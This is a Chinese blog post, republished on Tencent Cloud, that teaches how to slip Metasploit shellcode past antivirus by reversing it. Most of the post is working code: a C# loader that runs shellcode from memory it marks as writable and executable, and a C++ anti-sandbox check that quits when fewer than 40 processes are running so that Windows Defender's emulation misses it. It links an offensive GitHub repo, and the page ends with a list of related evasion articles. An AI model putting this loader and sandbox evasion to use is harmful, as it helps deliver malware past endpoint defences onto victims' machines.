专栏首页鸿鹄实验室免杀Tips--shellcode反转

免杀Tips--shellcode反转

本文将介绍利用反转shellcode的方法来绕过杀软。我们先来生成一个简单的msf的载荷看看:

查看VT情况:

下面我们来用Csharp写一个基本的加载器,代码如下:

using System;
using System.Runtime.InteropServices;

class Program
{


     [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);


     [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

     [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    private static UInt32 MEM_COMMIT = 0x1000;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;


    static void Main()
    {
        IntPtr threatHandle = IntPtr.Zero;
        UInt32 threadId = 0;
        IntPtr parameter = IntPtr.Zero;


       byte[] shellcode = new byte[1] { 0xfc };

        UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
        threatHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
        WaitForSingleObject(threatHandle, 0xFFFFFFFF);

        return;
    }
}

即利用P/Invoke来调用win32 api。

VT情况:

然后我们将shellcode进行反转,再进行加载:

顺便加点反沙箱,比如判断个沙箱进程数目,C++demo如下:

void AntiSimulation()
{
  HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (INVALID_HANDLE_VALUE == hSnapshot)
  {
    return;
  }
  PROCESSENTRY32 pe = { sizeof(pe) };
  int procnum = 0;
  for (BOOL ret = Process32First(hSnapshot, &pe); ret; ret = Process32Next(hSnapshot, &pe))
  {
    procnum++;
  }
  if (procnum <= 40)  //判断当前进程是否低于40个,目前见过能模拟最多进程的是WD能模拟39个
  {
    exit(1);
  }
}

这个就见仁见智,自己加入就好了。看下效果:

最后的代码已传至Github(去除了反沙箱):https://github.com/lengjibo/OffenSiveCSharp/tree/master/bypassAV8

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-04-21

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 记一次攻防演练tips | 攻防tips

    关于信息收集,已经有方法论类的东西总结的很好了,我只说我喜欢的,以百度代替真实站点

    意大利的猫
  • 免杀Tips--利用GUID来加载shellcode

    前几天,很多的公众号都复现了来自Lazarus组织的加载器的实现方法,UUID法,具体链接可以查看:https://research.nccgroup.com...

    鸿鹄实验室
  • 免杀tips:回调函数的魅力

    正值某大型活动期间,于是水一篇文章,来聊聊最近大家比较喜欢的利用回调函数来进行免杀这个小tips。

    鸿鹄实验室
  • 免杀tips

    最近断更了,是什么让我们饱经风霜,无奈断更,是xx,师傅们都去各地就位了,文章也就少了起来,今天分享个小技巧。

    鸿鹄实验室
  • pyinstaller打包逆向分析,顺便免杀Windows Defender

    乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任...

    乌鸦安全
  • 免杀 | 利用Python免杀CS Shellcode

    2019年,告别了coder的世界,告别了从前的生活。我决定暂时抛开金钱至上的价值体系,以一个Fucking loser的身份去寻找人生中的三大哲学问题,我是谁...

    HACK学习
  • emp3r0r:dropper和ELF加密壳

    最近添加了些我觉得可能有用的东西,今天要介绍的就是dropper和packer两个新功能。

    FB客服
  • 攻防演练对抗赛之初识文件钓鱼

    今年参加了几次攻防演练对抗赛,其它队伍依靠社工结合文件钓鱼得了不少分,自己之前并没有相关知识的积累,因此在这个方面吃了一些亏。

    FB客服
  • 安全视角下的木马免杀技术讨论

    实战演习中,攻击方需要通过各种手段对企业的相关资产进行渗透,挖掘企业资产里存在的漏洞进行得分。近年来这种漏洞挖掘的攻防比赛好像都以 Web 方面的为主,可能 W...

    FB客服
  • 关于msf反弹后门的免杀Tips

    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和...

    安恒网络空间安全讲武堂
  • Cobaltstrike免杀从源码级到落地思维转变

    距离上一篇文章《那些FastJson漏洞不为人知的事情(开发角度)》已经过去三天了,但在我的心中仿佛过了一年。这三天是我在分析Cobaltstrike源码的一个...

    天钧
  • 远控免杀专题-shellcode免杀实践

    目前网上有很多的自动生成免杀shellcode的工具,但是要知道杀毒软件检测某个免杀工具也是非常容易的,因为这些流行工具的指纹很容易被杀软公司搜集到然后加入特征...

    洛米唯熊
  • 远控免杀从入门到实践——工具总结篇

    在了解了免杀的一些基础知识和 Metasploit 自带的一些免杀方式之后,我开始学习和研究市面上知名度比较高的免杀工具,从互联网上找到了大约 30 多个免杀工...

    FB客服
  • 如何实现一款 shellcodeLoader

    shellcode由于可以随意地进行变化和还原,杀软的查杀难度较大。因此将木马shellcode化,再进行shellcode免杀是目前最流行的免杀方式之一。

    Seebug漏洞平台
  • CS免杀之信手拈来

    最近搞了一个cs免杀的东西出来,主流的杀毒软件,某绒,某0,windows defender都轻松过掉,但是把在测试卡巴全方位版时,成功上线之后就死掉了,我怀疑...

    Gamma实验室
  • [文末抽奖] 免杀:GO实现shellcode加载器过360

    现在很多内网环境中都安了各种各样的杀软,在做内网渗透时难免会四处碰壁。想到Go是一门较新的语言,免杀效果应该比较好,再加上现在网上主流的免杀都是c、c++、py...

    乌鸦安全
  • Meterpreter免杀技巧分享(亲测有效)

    0×01 meterpreter简介 MetasploitFramework是一个缓冲区溢出测试使用的辅助工具,也可以说是一个漏洞利用和测试平台,它集成了各种平...

    FB客服
  • 干货 | Shellcode免杀总结<一>

    如果要把shellcode单独分离 我们可以通过其他当时获取到shellcode,而不是事先讲shellcode写死在程序中

    用户1631416
  • 使用Golang免杀Tips

    在此文章中,将详细介绍一个很酷的小技巧,它涉及如何绕过大多数防病毒产品以在目标主机上获得Metepreter反向shell.

    黑白天安全

扫码关注云+社区

领取腾讯云代金券